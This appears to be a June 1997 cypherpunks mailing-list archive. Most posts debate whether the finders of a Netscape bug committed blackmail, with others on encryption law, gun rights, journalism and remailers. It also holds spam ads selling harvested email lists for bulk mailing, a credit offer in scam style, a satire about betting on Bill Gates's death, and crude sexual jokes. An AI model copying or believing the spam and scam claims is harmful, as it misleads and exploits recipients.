for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From tcmay at got.net  Sun Jun 15 18:27:46 1997
From: tcmay at got.net (Tim May)
Date: Mon, 16 Jun 1997 09:27:46 +0800
Subject: Homer on Terrorism
In-Reply-To: 
Message-ID: 



At 5:11 PM -0700 6/15/97, Tom Weinstein wrote:
>Tim May wrote:

>> (What the Danes offered was a straight buiness deal, albeit made
>> weirder and more frantic by the constraints of time, publicity, and
>> worldwide attention. Still a business deal, though. When Collabra
>> wanted X dollars to be acquired by Netscape, was this also
>> "terrorism"? The term "terrorist" hardly applies in business deals.)
>
>If it was just a business deal, that would be okay.  We would have a
>right to not pay him.  It becomes blackmail when he says "If you don't
>pay me, I will try to damage you."  That's what he did.  He said that
>if we didn't pay him, he'd time his press announcement to coincide with
>DevCon in order to cause us the maximum damage, which he did.

It's still not "terrorism." Just ordinary high-pressure bargaining, as when
a film star holds out to the last minute on a deal, knowing her value
increases as the deadline approaches.

Or scads of similar examples, as when Netscape or Microsoft time their
announcements for maximum impact.

One can imagine people approaching a company with reports of a bug--as a
certain math professor approached a certain chip company with reports of a
strange FDIV problem--and being given the polite runaround. "Thank you for
sharing. We'll have one of our QA engineers look into your report and maybe
he'll get back to you."

(I have no idea if Netscape reacted in this way, but I can imagine that the
flow of bug reports may cause many to linger in the "In" baskets without
action.)

By reporting the bug to PC Magazine and CNN-FN, the "value" of the bug
information shot up rather dramatically. The Arrhus team may not have
gotten any bucks from Netscape--and may not even get a free "Bugs Bounty"
sweatshirt--but their consulting rates and business have probably both gone
up.

Browsers are big business, and high stakes poker. It's not surprising to me
to see this kind of bluffing and "terorrism" (to quote Homer, with his
rosy-fingered typing). What's surprising is that it hasn't happened more
often, or at least hasn't gotten as much publicity.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From minow at apple.com  Sun Jun 15 18:39:59 1997
From: minow at apple.com (Martin Minow)
Date: Mon, 16 Jun 1997 09:39:59 +0800
Subject: Blackmail / Re: e$: Skins vs. Shirts
In-Reply-To: <199706151846.OAA09246@dhp.com>
Message-ID: 



An anonymous correspondant writes about the recent Netscape bug:
>
>  If the people who discovered the flaw had wanted they could have
>chosen to sell their knowledge to Microsoft for probably a very
>substantial sum.
>

I would respectfully maintain that reputable companies (including
Microsoft) do not work this way. If you tell me about a bug in
a Microsoft product, I'll pass it on to Microsoft immediately;
and I know, from personal experience, that Microsoft employees
work in the same way.

Martin Minow
Apple Computer Inc.







From rcgraves at disposable.com  Sun Jun 15 18:41:40 1997
From: rcgraves at disposable.com (Rich Graves)
Date: Mon, 16 Jun 1997 09:41:40 +0800
Subject: We need more surveillance--a morality play about terrorism
Message-ID: <33A482AC.3C0E@disposable.com>



-----BEGIN PGP SIGNED MESSAGE-----

Tim May  wrote:

> I've been watching an HBO movie, "Path to Paradise," about the
> bombing of the World Trade Center in February 1993. It's quite
> well-done, as most HBO movies of this sort are.

Maybe I'll get a TV one of these days. Nah.

> * "You mean Islamic radicals are free to preach their message of
> hate and violence? Unbelievable!" (This is a paraphrase...there
> were several such opinions expressed, where FBI managers express
> outrage that such things are permitted in the U.S.)

I can't even imagine anyone in the FBI saying anything like that. In
the National Security (tm) establishment and local police forces,
yes, but the FBI is pretty professional, and has heard of the First
Amendment. In this case, though, there was the additional issue of
Rachman being an illegal alien. (I'm not a big fan of border controls
of any kind, but I do consider political hostility to the US to be a
legitimate reason for a state to bar someone from entry and residence.
Bleeding hearts aside, poverty and lack of language and job skills
are also legitimate reasons to bar people at the golden door.)

It's fashionable to romanticize the enemy as big national or
supranational thugs, but in reality the corrupt local cop is the
bigger civil liberties threat to most normal people.

On the "other side":

Look, more people died from car accidents in the last 12 days than
died in the bombing of the Murrah Federal Building, and far fewer
still (or was it nobody?) died in the World Trade Center. By the
numbers, terrorism just doesn't deserve the press coverage it gets.
McVeigh would have done better if he'd started an automobile factory.
It worked for Henry Ford; how many copies of The International Jew
and The Protocols of the Elders of Zion did he print with the money
he made, and how long did respectable antisemitism delay the US entry
into WWII? Food for thought. If you really want to influence people
over the long term, make money, not bombs. William Pierce is on the
wrong track.

> * The niceties of getting wiretap orders were treated as ways to
> coddle criminals.

This does happen, and bugs me (so to speak).

> --Tim May, who's sorry he missed the display of firepower at the
> physical meeting today

One of these days I'll make it to the firing range.

You also missed a revealing story over dinner, which probably meant
something different to me than the storyteller intended, but there
it is.

A guy on the way to the shooting range is pulled over for speeding.
The cop notices the guns, orders him out of the car, and asks where
he's going. He answers, "Let me explain the way I think this country
works. I am going wherever I damn well please." So the cop gives him
a speeding ticket, and he continues on his way.

Now tell me, is this evidence that we're living in a police state?

Of course it probably helped that the guy was white, and probably
driving a "decent" car, and carrying "decent" guns and not some
"Saturday Night Special." But still, I don't see the totalitarianism.

While it wasn't covered in human rights school, I don't think the
FBI should sit idly by and let terrorists sponsored by the government
of Iran blow people up, either. And so they didn't sit idly by. They
waited for probable cause. And lost one. Oops. A few random bombings
seems a reasonable price to pay for all our freedoms, though,
especially since it probably couldn't have been prevented in the
first place.

But by all means, keep the paranoia coming. That's what keeps this
country more or less free. Far better to have frogs hopping wild and
free (as God designed them) than sitting in the pot talking about
how nice and warm the water is. Just don't lose it so badly that you
start endorsing the bombing of the World Trade Center and the Murrah
Federal Building, please.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQBVAwUBM6SCkJNcNyVVy0jxAQFWvAH/U8KiLVrrtq/NNSOzJWGPJuP2n7wM/6oU
KvymiZkTRqMS+5WLY5WTomnVCgKcc0IQ9eMDFO0UgJf5vI28YE2VtQ==
=EP88
-----END PGP SIGNATURE-----






From tomw at netscape.com  Sun Jun 15 19:13:46 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Mon, 16 Jun 1997 10:13:46 +0800
Subject: Homer on Terrorism
In-Reply-To: 
Message-ID: <33A49D42.49741BF5@netscape.com>



Tim May wrote:
> 
> At 5:11 PM -0700 6/15/97, Tom Weinstein wrote:
>> Tim May wrote:
> 
>>> (What the Danes offered was a straight buiness deal, albeit made
>>> weirder and more frantic by the constraints of time, publicity, and
>>> worldwide attention. Still a business deal, though. When Collabra
>>> wanted X dollars to be acquired by Netscape, was this also
>>> "terrorism"? The term "terrorist" hardly applies in business
>>> deals.)
>>
>> If it was just a business deal, that would be okay.  We would have a
>> right to not pay him.  It becomes blackmail when he says "If you
>> don't pay me, I will try to damage you."  That's what he did.  He
>> said that if we didn't pay him, he'd time his press announcement to
>> coincide with DevCon in order to cause us the maximum damage, which
>> he did.
> 
> It's still not "terrorism." Just ordinary high-pressure bargaining, as
> when a film star holds out to the last minute on a deal, knowing her
> value increases as the deadline approaches.

It's blackmail.  IANAL, but I believe that blackmail consists of a
demand, and a threat to harm if the demand is not met.

If he had said:
  "I'm going to go to the press on this date.  You can buy the
   information from me before that for X amount of money."

That would be an ordinary business transaction.  Instead, what he said
was something like:
  "Pay me lots of money or I will go to the press in such a way as to
   damage you the most."

That is blackmail.  It's clear that the money is to prevent the damage,
not just for the information.

> Or scads of similar examples, as when Netscape or Microsoft time their
> announcements for maximum impact.
>
> One can imagine people approaching a company with reports of a bug--as
> a certain math professor approached a certain chip company with
> reports of a strange FDIV problem--and being given the polite
> runaround. "Thank you for sharing. We'll have one of our QA engineers
> look into your report and maybe he'll get back to you."
> 
> (I have no idea if Netscape reacted in this way, but I can imagine
> that the flow of bug reports may cause many to linger in the "In"
> baskets without action.)

As a matter of fact, we responded to him very quickly.  The day after
we heard from him we had a phone call where Jeff Weinstein, Jim Roskind
(Java security), and I were present.  We gave it serious attention as
we do with all security holes.

> By reporting the bug to PC Magazine and CNN-FN, the "value" of the bug
> information shot up rather dramatically. The Arrhus team may not have
> gotten any bucks from Netscape--and may not even get a free "Bugs
> Bounty" sweatshirt--but their consulting rates and business have
> probably both gone up.

He reported it to CNN because he was following through on his threat
when we refused to pay him not to.

> Browsers are big business, and high stakes poker. It's not surprising
> to me to see this kind of bluffing and "terorrism" (to quote Homer,
> with his rosy-fingered typing). What's surprising is that it hasn't
> happened more often, or at least hasn't gotten as much publicity.

"Terrorism" probably doesn't apply, since his aim was not political.
(Or doesn't terrorism have to be political?) I think blackmail is a
more appropriate term.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From adam at homeport.org  Sun Jun 15 19:37:30 1997
From: adam at homeport.org (Adam Shostack)
Date: Mon, 16 Jun 1997 10:37:30 +0800
Subject: Homer on Terrorism
In-Reply-To: <33A49D42.49741BF5@netscape.com>
Message-ID: <199706160215.WAA17222@homeport.org>



	Since this list has bred a lot of security consultants, I'll
comment on the business practices here.

	Sending a company a bill for doing work they didn't agree to
in advance is wrong.  I've spent substantial amounts of time finding
and documenting bugs in various products.  Some of its public, a lot
is not.  In most every event, the handshake and thank you has led to
consulting work for the company.

	If I show up with a bill in hand, thats not the right way to
start a business relationship.  So, questions of blackmail aside, its
plain bad practice.   I'll note that the company in Denmark is not a
well known one, nor is the name one that I've seen, so there are
questions of if the individual is using their true name or not while
chasing the money.  If they are not, it may be because they feel that
this sort of business practice is one they'd like to disassociate
themselves from.

Adam

Tom Weinstein wrote:

| > One can imagine people approaching a company with reports of a bug--as
| > a certain math professor approached a certain chip company with
| > reports of a strange FDIV problem--and being given the polite
| > runaround. "Thank you for sharing. We'll have one of our QA engineers
| > look into your report and maybe he'll get back to you."
| > 
| > (I have no idea if Netscape reacted in this way, but I can imagine
| > that the flow of bug reports may cause many to linger in the "In"
| > baskets without action.)
| 
| As a matter of fact, we responded to him very quickly.  The day after
| we heard from him we had a phone call where Jeff Weinstein, Jim Roskind
| (Java security), and I were present.  We gave it serious attention as
| we do with all security holes.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From rah at shipwright.com  Sun Jun 15 19:43:07 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 16 Jun 1997 10:43:07 +0800
Subject: eDrugs / Re: e$: Skins vs. Shirts
In-Reply-To: <199706151830.OAA07797@dhp.com>
Message-ID: 



At 2:30 pm -0400 on 6/15/97, lucifer Anonymous Remailer wrote:


>   So...did you bring enough for everybody?

Nope. Only the metabolites in my poor liver left. Hey. I wonder if what
they say about losing weight and flashing back is true...

itsonlyamovieitsonlyamovieitsonlyamovieitsonlyamovieitsonlyamovieitsonlyamovieit
sonlyamovieitsonlyamovieitsonlyamovie...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tcmay at got.net  Sun Jun 15 19:49:02 1997
From: tcmay at got.net (Tim May)
Date: Mon, 16 Jun 1997 10:49:02 +0800
Subject: Homer on Terrorism
In-Reply-To: 
Message-ID: 



Fair enough. I'm prepared, on the basis of Tom's comments, to accept that
the Danish bug-finders were "blackmailers," albeit of the weakest,
noncriminal sort. (Nobody is suggesting criminal prosecution, extradition,
etc., are they?) But I think the "terrorist" appelation is a bit strong.


At 6:56 PM -0700 6/15/97, Tom Weinstein wrote:

>It's blackmail.  IANAL, but I believe that blackmail consists of a
>demand, and a threat to harm if the demand is not met.

(However, a "threat to harm" is ambiguous. Many business deals involve
mentions of consequences...at what point does this become "blackmail,"
especially the criminal sense of blackmail?)




>If he had said:
>  "I'm going to go to the press on this date.  You can buy the
>   information from me before that for X amount of money."
>
>That would be an ordinary business transaction.  Instead, what he said
>was something like:
>  "Pay me lots of money or I will go to the press in such a way as to
>   damage you the most."
>
>That is blackmail.  It's clear that the money is to prevent the damage,
>not just for the information.

Perhaps so, but things remain ambiguous. More skilled negotiators might be
more circumspect about the "damage" side, only hinting at it. I don't know
if the Danes were clumsy at conveying their intentions. Maybe English was
not their forte.


>"Terrorism" probably doesn't apply, since his aim was not political.
>(Or doesn't terrorism have to be political?) I think blackmail is a
>more appropriate term.

Like I said, but I still think a less inflammatory description than
"terrorist," or even "blackmailer" is better.

There's probably something between "cheerful Berkeley grad students
grateful to get a free t-shirt" and "blackmailer."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Sun Jun 15 21:18:58 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 16 Jun 1997 12:18:58 +0800
Subject: Homer on Terrorism
Message-ID: <199706160400.VAA09858@fat.doobie.com>



Tom Weinstein wrote:
> Tim May wrote:
> > Tom Weinstein wrote:
> >> Tim May wrote:
> >
> >>> (What the Danes offered was a straight buiness deal, albeit made
> >>> weirder and more frantic by the constraints of time, publicity, and
> >>> worldwide attention. Still a business deal, though.)

> what he said
> was something like:
>   "Pay me lots of money or I will go to the press in such a way as to
>    damage you the most."
> 
> That is blackmail.  It's clear that the money is to prevent the damage,
> not just for the information.

  This happens every day in major-league business ballparks. Information
--> is power is --> money. Usually the word "blackmail" surfaces when
one
company takes a shit-kicking from the other company.

  Methinks the reason the word "blackmail" so easily springs to the
lips of Netscape exec's is that they know they got caught with their
pants down.
  They designed their code so that they or John Law could put their
dicks in our hard drives and wiggle them around and now they are
accusing the guy who has "pictures" of their guilt of doing something
dirty.

  Although Netscape is claiming the "high ground" by saying they
don't pay "blackmail," I think it is much more likely that they
didn't need to *pay* for the information because they already
*knew* exactly what the other company had discovered.
  Netscape calls their upcoming patch a "bug fix" when, in reality,
it is the disabling of a "secret feature." Thus I wouldn't be too
quick to accept their definition of "blackmail."

> > Browsers are big business, and high stakes poker. It's not surprising
> > to me to see this kind of bluffing and "terorrism" (to quote Homer,
> > with his rosy-fingered typing). What's surprising is that it hasn't
> > happened more often, or at least hasn't gotten as much publicity.

  It probably doesn't get reported very often because a company
usually doesn't have foreknowledge of the problem (i.e. it is a
genuine "bug" in their product) and thus it is in their best
interest to pay to find out the specifics of the problem.
  When you're innocent of wrongdoing, it's called a business
negotiation. When you're guilty of wrongdoing, its called
blackmail?
  So if Tom Weinstein calls it blackmail, then I guess that pretty
much indicates Netscape's position in regard to their browser's
ability to be used to compromise the user's privacy and security.

TruthMonger






From azur at netcom.com  Sun Jun 15 21:21:55 1997
From: azur at netcom.com (Steve Schear)
Date: Mon, 16 Jun 1997 12:21:55 +0800
Subject: Current wording of SAFE criminal use provision
In-Reply-To: 
Message-ID: 



>From Thomas:
http://rs9.loc.gov/cgi-bin/cpquery105/1?cp105:./temp/~cp105mvbg:e7198

--begin
Sec. 2805. Unlawful use of encryption in furtherance of a criminal act

       `Any person who, in the commission of a felony under a criminal
statute of the United States, knowingly and willfully encrypts
incriminating communications or information relating to that felony with
the intent to conceal such communications or information for the purpose of
avoiding detection by law enforcement agencies or prosecution--

	`(1) in the case of a first offense under this section, shall be
imprisoned for not more than 5 years, or
              fined
	in the amount set forth in this title, or both; and

              `(2) in the case of a second or subsequent offense under this
section, shall be imprisoned for not more
	than 10 years, or fined in the amount set forth in this title, or
both.'.

--end

--Ste5e







From declan at pathfinder.com  Sun Jun 15 21:24:02 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Mon, 16 Jun 1997 12:24:02 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: 



Tim is right to raise these points. In fact I've talked about "DC
insiderism" with him and here on the list in the past.

But Tim's conclusions are way off-target. Just because you have access to
information doesn't mean you've been co-opted. For instance, contrary to
what Tim says, I've never "promised to spin the story in a certain way."
That's the job of a PR flack, not a journalist. Also, contrary to what Tim
says, I've never been "sworn to secrecy." Rather, some discussions are
off-the-record, which is fairly common practice even if you're covering
City Hall in Topeka. Doesn't mean I can't use the information -- as I said
in the paragraph Tim elided, I do -- just that I can't quote a particular
person.

Tim writes: But you're sure showing all the signs of becoming just another
Washington Insider."

In truth I'm doing what a reporter should do: talk to lots of folks who
are involved in a particular issue. If this makes me an "insider," I'll
cop to that. But if I didn't meet and chat with thse folks, I wouldn't be
doing my job.

I mean, geez, if nothing else, look at what I've been writing. Last
Thursday I wrote about how the Federal government should get out of the
business of "protecting privacy." On Friday I wrote about how "protecting
children" from animated cartoon images is another pretext for
Net-censorship. Who else is saying that?

If anything, I've becoming more cynical as I spend more time on this beat.

-Declan







From azur at netcom.com  Sun Jun 15 21:29:08 1997
From: azur at netcom.com (Steve Schear)
Date: Mon, 16 Jun 1997 12:29:08 +0800
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970613201551.40314@bywater.songbird.com>
Message-ID: 



>It does *not* say "the right of an *individual* to keep and bear arms
>shall not be infringed.  It says "the people", a collective term.  It
>references a *well-regulated* militia.

Subsequent court rulings have left somewhat unclear the meaning of
"well-regulated militia".  At the present this appears to mean citizens, in
general.

>Therefore my interpretation is that according to the constitution,
>there is a broad right for the population to own guns, but that right
>is fundamentally justified through "the security of a free State".
>Use of arms contrary to the security of the state is not justified
>through the second amendment, nor does the second amendment prohibit
>congress or the states from controlling such unjustified use of arms.

I can't agree with "the security of a free State" aspect.  A higher
priority among the signers and states than "the security of a free State"
was freedom.  It was recognized, in the Declaration of Independance, that
it was the people's right to replace government (even through force of
arms) when they felt it had come to tyranny in order ot maintain freedom.

Unjustified to whom?  The State?  How can the state be the best judge of
what is in the best interests of the people in maintaining their freedom?
Seems the State has a conflict of interest and should recuse itself on this
issue.

--Ste5e







From nobody at huge.cajones.com  Sun Jun 15 21:48:06 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 16 Jun 1997 12:48:06 +0800
Subject: 2nd New Netscape Bug Reported
Message-ID: <199706160428.VAA10418@fat.doobie.com>



[Routers--Moose Jaw, Saskatchewan]
June 17, 1997

Bellgate or Bill Gates?
   by Declan McCypherpunk

  A wanna-be programmer in this small Canadian town stumbled upon an
undocumented feature in the Netscape browser which allows the user to
place a bet on the date of death of computer magnate Bill Gates.
  While early reports are sketchy, it appears that the scheme involves
Tom Weinstein, Ed McMahon and the cypherpunks remailer system.

  When approached by Kookie Roberts for comment, Tom Weinstein loudly
proclaimed, "I don't even know Jim Bell, honest."
  When Kookie Roberts asked Weinstein who the hell Jim Bell was, he
quickly muttered, "Never mind..."

  Ed McMahon would only say that on September 4th, some lucky winner
would be receiving an anonymous digicash transaction from him.
  When pressed for details about the date, McMahon's face flushed a
bright red and he quickly exited the scene, accompanied by men with
Italian names, and a former CIA PR representative explained that what
McMahon "meant to say" was "no comment."

  Unsubtatiated rumors also indicate that if the netscape.exe file is
printed out as a .gif file, that it pictures a layout of Microsoft
Corporate headquarters and the Gates estate.
  When asked for a response to the announcement of the new revelations
a Microsoft spokesperson cryptically replied, "Anyone who bet on Bill
Gates dying on September 4th ain't gonna win shit." When pressed as to
whether he personally used the Netscape browser, the MS spokesperson
only grinned and winked.






From usura at ZedZ.com  Mon Jun 16 01:25:57 1997
From: usura at ZedZ.com (Alex de Joode)
Date: Mon, 16 Jun 1997 16:25:57 +0800
Subject: (fwd) Demo of new personalized web "Anonymizer"
Message-ID: <199706160815.KAA00484@outcast.zedz.net>



----- Forwarded message from Alex de Joode -----

From: alain at allegra.tempo.att.com (Alain Mayer)
Newsgroups: sci.crypt,sci.crypt.research
Subject: Demo of new personalized web "Anonymizer"
Date: 11 Jun 1997 17:49:02 -0700
Organization: Bell Labs, Murray Hill, NJ
Message-ID: <5nnh1u$djk at joseph.cs.berkeley.edu>

Hi!
 
We are Bell Labs researches currently experimenting with a new tool that
helps you easily create and use consistent unique personal identities at web
sites that provide personalized services.  LPWA (Lucent Personalized Web
Assistant) creates these unique identities on demand. LPWA supports these
features:
- Privacy: Your true identity remains unknown to the web-sites. When a
     web-site asks you to provide a username, password, or e-mail
     address, you instead enter '\u', '\p', or '\@', and the LPWA proxy
     submits to the web-site an alias-username, an alias-password, or
     an alias-e-mail address. LPWA computes a different, but consistent,
     alias for you for each web-site.
- Convenience: Because LPWA computes your alias identity for you, you do
     not need to invent and remember multiple usernames and passwords. Instead,
     you only need to remember and protect one secret ("universal
     password").  You provide your secret to the proxy, along with your
     e-mail address, exactly once during a browsing session, after that
     you browse the web transparently.
 
Check    http://lpwa.com/      to see how to use LPWA.  To obtain more
information about LPWA, see   http://www.bell-labs.com/project/lpwa/
Pointers to personalized web-sites, where you can open and maintain
accounts, are given in
http://www.bell-labs.com/project/lpwa/background.html#personalized
 
Please note that this project has not yet been publicy announced and that
documentation and code are currently being revised. Also, the current
(temporary)  set-up,  where you have to connect to LPWA over an insecure
connection is not "optimal" (to say the least, but all in all much better
than if you browse the "usual way"). Hence, we are really looking for
"friendly users" at this time whose feedback will help us to make improvements.
 
Regards,
   Alain Mayer

----- End of forwarded message from Alex de Joode -----

Groet,
--
Alex de Joode
usura at zedz.com  |  ZedZ InterNET Laboratories  |  http://www.zedz.net 






From paul at fatmans.demon.co.uk  Mon Jun 16 03:53:22 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 16 Jun 1997 18:53:22 +0800
Subject: Key Ass-crow
In-Reply-To: <199706151816.OAA05838@dhp.com>
Message-ID: 




>   Kind of like trusting a friend not to bugger you while you are
> drunk and passed out. (But he can't prevent the police from hauling
> you in for public intoxication and locking you up with someone who
> might do so.)

Yes, reminds me of last night, I fortunately escaped being buggered however.

>   This is much like having a Dominatrix who chains you to the toilet
> and brings out a mixed bag of utensils and instruments which are about
> to be used for purposes that are a far cry from what they were created
> for, and to access areas that Nature never intended to be subjected to
> large amounts of sunshine.

Yes, a notable change of style, fuckmonger perhaps?

>   Perhaps someone should come out with a GAK T-shirt which has a
> citizen "assuming the position" while a GAK cop stands behind him
> with a crowbar stuck halfway up the citizen's ass, and saying,
> "If you don't have anything to hide, then you have nothing to
> worry about."

This has given me an idea. I think I will have just such a T-Shirt made 
up "GAK: Government access to Krevices ;-)"
You never know what one of those nasty terrorists has stuck up their ass.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From jya at pipeline.com  Mon Jun 16 04:09:23 1997
From: jya at pipeline.com (John Young)
Date: Mon, 16 Jun 1997 19:09:23 +0800
Subject: BYE_cda
Message-ID: <1.5.4.32.19970616104329.0070f738@pop.pipeline.com>



6-16-97, NYP:

With a groundbreaking Supreme Court decision imminent on a
new law restricting children's access to indecent material on the
Internet, senior Clinton administration officials are preparing a 
policy that undercuts the administration's strong support of the 
law until now.

Administration officials, anticipating that the court will strike the 
law down as an unconstitutional abridgment of free speech, 
have been quietly fashioning a new communications policy that 
leaves most regulation of the sprawling online world to the industry 
itself.

No announcement will be made until the court rules on the 
constitutionality of the Communications Decency Act of 1996. 
And officials noted that the current draft of a working group's 
report, dated June 4, is not necessarily the last word spelling out 
the new approach. The president makes policy, they said,
and this matter will not be settled until he approves.

-----

BYE_cda

http://jya.com/byecda.htm






From nobody at faust.guardian.co.uk  Mon Jun 16 19:21:00 1997
From: nobody at faust.guardian.co.uk (Shift Control)
Date: Mon, 16 Jun 1997 19:21:00 -0700 (PDT)
Subject: High-Class Hoards
Message-ID: <199706161051.LAA19231@faust.guardian.co.uk>


This week in the award-winning Shift Control...

The Hoarding Issue

"Nowadays Charles Saatchi buys up entire shows of new talent in 
the Young Brit Art pack. Recently he bought nearly all the Chapman 
brothers' disturbing child mannequins with penises and anuses in 
peculiar places. And the whole of the Martin Maloney show, 'Die 
Yuppie Scum'. I imagine his art depository must be as big as an 
out-of-town IKEA store, with fork-lift trucks whizzing around it 
and people with clipboards checking stock." - Professor Lisa Jardine 
on art collectors, the ultimate hoarders.

"Mum keeps throwing more and more pairs of shoes into the black 
hole at the bottom of her wardrobe, never to be seen again, even 
though she might only have worn them once. This shoe fixation is a 
trait the rest of the family seems to have inherited. Normal kids 
inherit eye colour from their parents; we all got the urge to stash 
flip-flops." - Emma Caldwell on growing up in a house of maniacal 
hoarders.

"Charlie describes himself as a 'guardian of logic'. 'I've seen some 
super-open people, into Buddhism and Feng shui and geomancing. But 
that,' says Charlie, nodding towards the hoard of jumble, 'is an 
ecclesiastical anathema, trying to combine all things, all religions 
together.'" - Shift Control rumbles through jumble and finds a 
philosopher in the closet.

Plus: The Shift Control Gallery, the world's first bionic bee, and 
a chance to win 200 smackers in our short story competition. All 
waiting for you NOW at 
http://www.shiftcontrol.com

_____________________________________________

Shift Control is produced by the Guardian's New Media Lab with help 
from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request at nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe






From 2m at allvip.com  Mon Jun 16 19:25:03 1997
From: 2m at allvip.com (2m at allvip.com)
Date: Mon, 16 Jun 1997 19:25:03 -0700 (PDT)
Subject: Get 2 Million FLAMEPROOF Email Addresses - ONLY $99 - ALL DELIVERABLE
Message-ID: <199706170213.WAA00248@fp.allvip.com>


    * To Remove:  Please hit reply & type "remove" in the subject

< <> >   Get 2 Million Flameproof Email Addresses Today - ONLY $99  (Reg. $489)   < <> >
        *   Visa  &  Mastercard  Welcome   *   No Waiting Time!   *   Get Started NOW!  *
   Email:  2mil at allvip.com                                       Targeted to General Business & More
                All deliverable - Guaranteed - We replace your undeliverables!
 All addresses processed against a very extensive database of "remove" requests.
 Totally Flameproof  - When you order Now, we will give you an  EXCELLENT and 
           AFFORDABLE  ISP  that welcomes unsolicited bulk email!

    This offer is for 2 days Only!  Plus you will be immediately eligible for 
    Exclusive Direct Wholesale Offers for all of your marketing needs!  
    Immediately obtain this offer NOW & get started TODAY!
    For your << automatic  >> Order Form:    Email:   2mil at allvip.com

    * To Remove:  Please hit reply & type "remove" in the subject

ml3







From jya at pipeline.com  Mon Jun 16 05:08:41 1997
From: jya at pipeline.com (John Young)
Date: Mon, 16 Jun 1997 20:08:41 +0800
Subject: New CIA Rule on Information Access
Message-ID: <1.5.4.32.19970616112542.008ca6d4@pop.pipeline.com>



The CIA has published in the Federal Register today interim
rules and soliciting comments prior to adoption of final rules to
implement its obligations under the Freedom of Information Act, 
the Privacy Act, and Executive Order 12958 provisions relating 
to classification challenges by authorized holders, requests
for mandatory declassification review, and access by historical 
researchers.

   http://jya.com/cia061697.txt  (150K)






From dlv at bwalk.dm.com  Mon Jun 16 05:58:06 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 16 Jun 1997 20:58:06 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: <524D9D18w165w@bwalk.dm.com>



Declan McCullagh  writes:

> But Tim's conclusions are way off-target. Just because you have access to
> information doesn't mean you've been co-opted. For instance, contrary to
> what Tim says, I've never "promised to spin the story in a certain way."

You don't have to promise.  You're very predictable.  Given certain
inputs you're very likely to write certain outputs.

> I mean, geez, if nothing else, look at what I've been writing. Last
> Thursday I wrote about how the Federal government should get out of the
> business of "protecting privacy." On Friday I wrote about how "protecting
> children" from animated cartoon images is another pretext for
> Net-censorship. Who else is saying that?

Can a mailing list poster silence others by talking too much?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From EZCREDIT4U at savetrees.com  Mon Jun 16 21:13:39 1997
From: EZCREDIT4U at savetrees.com (EZCREDIT4U at savetrees.com)
Date: Mon, 16 Jun 1997 21:13:39 -0700 (PDT)
Subject: !! Guaranteed $10,000 In Credit Within Days!
Message-ID: <0000000000.AAA000@savetrees.com>


!! Guaranteed $10,000 In Credit Within Days!    96% Success Rate
Bad credit-no credit-low income-bankruptcy-divorce? No problem.
WORLDWIDE ACCEPTANCE. NO SECURITY DEPOSIT. UNIQUE. PROVEN. CASH
ADVANCES. BE SMART. WHAT'VE YOU GOT TO LOSE? (NOTHING). ACT NOW.
For FREE INFO (autoresponder) send email to ezcredit at answerme.com







From raph at CS.Berkeley.EDU  Mon Jun 16 07:24:09 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 16 Jun 1997 22:24:09 +0800
Subject: List of reliable remailers
Message-ID: <199706161350.GAA26212@kiwi.cs.berkeley.edu>



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
